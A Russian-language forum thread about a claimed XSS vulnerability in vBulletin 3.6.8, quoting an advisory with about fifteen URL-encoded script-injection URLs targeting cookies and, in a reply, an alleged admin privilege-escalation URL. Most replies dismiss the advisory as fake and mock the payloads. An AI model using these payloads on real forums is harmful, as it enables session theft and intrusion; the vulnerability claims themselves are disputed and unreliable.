Программа: vBulletin V3.6.8

Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных во множестве сценариев множеством параметров. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Пример:

[site]/[path]/faq.php?s=&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript&match=
all&titlesonly=0

[site]/[path]/member.php?u=1=s'&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2F
script&match=all&titlesonly=1

[site]/[path]/index.php?s=<script>alert('document.cookie')</script>

[site]/[path]/faq.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript
&match=all&titlesonly=0

[site]/[path]/memberlist.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2
Fscript&match=all&titlesonly=0

[site]/[path]/calendar.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2F
script&match=all&titlesonly=0

[site]/[path]/search.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript
&match=all&titlesonly=0

[site]/[path]/search.php?do=getdaily"&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3
Ealert%28document.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0

[site]/[path]/forumdisplay.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript
&match=all&titlesonly=0

[site]/[path]/forumdisplay.php?do=markread"&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3E
alert%28document.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0

[site]/[path]/forumdisplay.php?f=1"&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0

[site]/[path]/showgroups.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript&
match=all&titlesonly=0

[site]/[path]/online.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript&
match=all&titlesonly=0

[site]/[path]/member.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2F
script&match=all&titlesonly=0

[site]/[path]/sendmessage.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2F
script&match=all&titlesonly=0

Источник http://www.securitysib.com/2007/08/14/vbulletin.html

Кто что думает?

а в 3.6.7 её нету ?

чето бред какойто
где источник?

Originally Posted by netwind

чето бред какойто

+1

Originally Posted by IchWill

&q=XSS

Такой приметив да в вобле? Я вас умоляю.

Originally Posted by IchWill

u=1=s'&q=XSS

Бред больного поросенка =\

Вообще это из оперы "папа подключил мне инетку и я зашел на античат". Кто-то натыкал в урлы совершенно глупые строчки, не понимая что они вообще делают, и решил выдать это за уязвимость.

чё думать ) пробуйте и убеждайтесь рабит иль нет )

Originally Posted by IchWill

[site]/[path]/index.php?s=<script>alert('document.cookie')</script>

убило

а во я ещё нашёл поднятие прав юзера с userid X до группы админов:

[site]/[path]/[path2admincp]/init.php?uid=1&sugid=6&suid=X

это чо правда???? честно непойму :( на том сайте правда написано,ток незнаю правда ли на 3.6.8 работает

адрес сайта http://www.securitysib.com доверия не внушает.
он скорее похож на один из тысяч блого-сайто-варезо-хреней, типа фишек/зизы/etc

адрес сайта http://www.securitysib.com доверия не внушает.
он скорее похож на один из тысяч блого-сайто-варезо-хреней, типа фишек/зизы/etc

один из тысяч блого-сайто-варезо-хреней, типа фишек/зизы/etc - http://securityvulns.ru/Rdocument840.html
и еще один не внушающий доверия сайт http://www.google.ru/search?q=vBulle...sword+Md5+Hash

IchWill, чем больше по инету распространяется fake, тем больше мы видим сайтов, которые не проверяют информацию )